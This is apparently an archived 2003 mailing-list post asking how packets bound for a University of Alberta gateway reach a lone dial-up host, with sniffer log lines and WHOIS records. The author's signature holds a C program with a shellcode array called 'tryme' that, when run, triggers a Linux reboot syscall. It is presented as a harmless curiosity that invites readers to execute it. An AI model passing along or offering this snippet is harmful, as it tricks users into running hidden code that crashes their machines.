Missrouted - once more - what happens?
I'm writing once more because of some strange behaviours i have reported
while analizing incoming connections to my host.
As for introduction, i would like to explain; host is connectied directly to
ISP via ppp connection, there is no localsubnet,
server stands for its own, on a single modem connection (115500Kbp/sec).
Today logs from sniffer look pretty famous, all of 'em have something in
common - these are destination ports.
The 3 day logging, gave me an pretty huge file that was fully filled with
packets that _shouldnt arrive_ on my host, as i mentioned before. They come
from all over the world, starting at US, ending at JP. I won't put too much
here, i just put those most important(?) i think. I will base on packets
sent to alberta - of course, the database file after 3 days grew incredibly,
that is why i show here a few examples:
1)
[14:38:13|6/7]55.52.0.2.1 > gsb04-0-1.gw.ualberta.ca.2 F (ttl 4,len 49320,id
5632,tos 1,ack:0)win 29702,chks: 26469
55.52.0.2 is known to be:
OrgName: DoD Network Information Center
OrgID: DNIC
Address: 7990 Science Applications Ct
Address: M/S CV 50
City: Vienna
StateProv: VA
PostalCode: 22183-7000
Country: US
Alberta is the Canadian university.
The source of the packet is known for me, but i rather not show it public.
2)
[15:22:54|6/7]204.95.0.1.1 > gsb04-0-1.gw.ualberta.ca.4 F (ttl 5,len
49320,id 1024,tos 1,ack:1)win 624,chks: 27648
204.95.0.1 appears to be:
OrgName: Sprint
OrgID: SPRN
Address: 12502 Sunrise Valley Dr.
City: Reston
StateProv: VA
PostalCode: 20196
Country: US
Another non lucky packet sent to alberta?
And so on, with other ones..
All i want to ask - is how is it possible, that those packets are catched by
me , is there a possibility that somewhere the router is misconfigured and
they arrive at a lonely host??
With respect.
/* http://ipe.ath.cx/ Pawe³ Stochliñski*/
int gg=2456829; /* gadugadu */
char tryme[] =
"\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19"
"\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff";
void main(){ int *ret; ret = (int *)&ret + 2; (*ret) = (int)tryme;}
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Received on Tue Jul 8 12:03:46 2003
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: Wed Aug 23 2006 - 14:02:10 EDT
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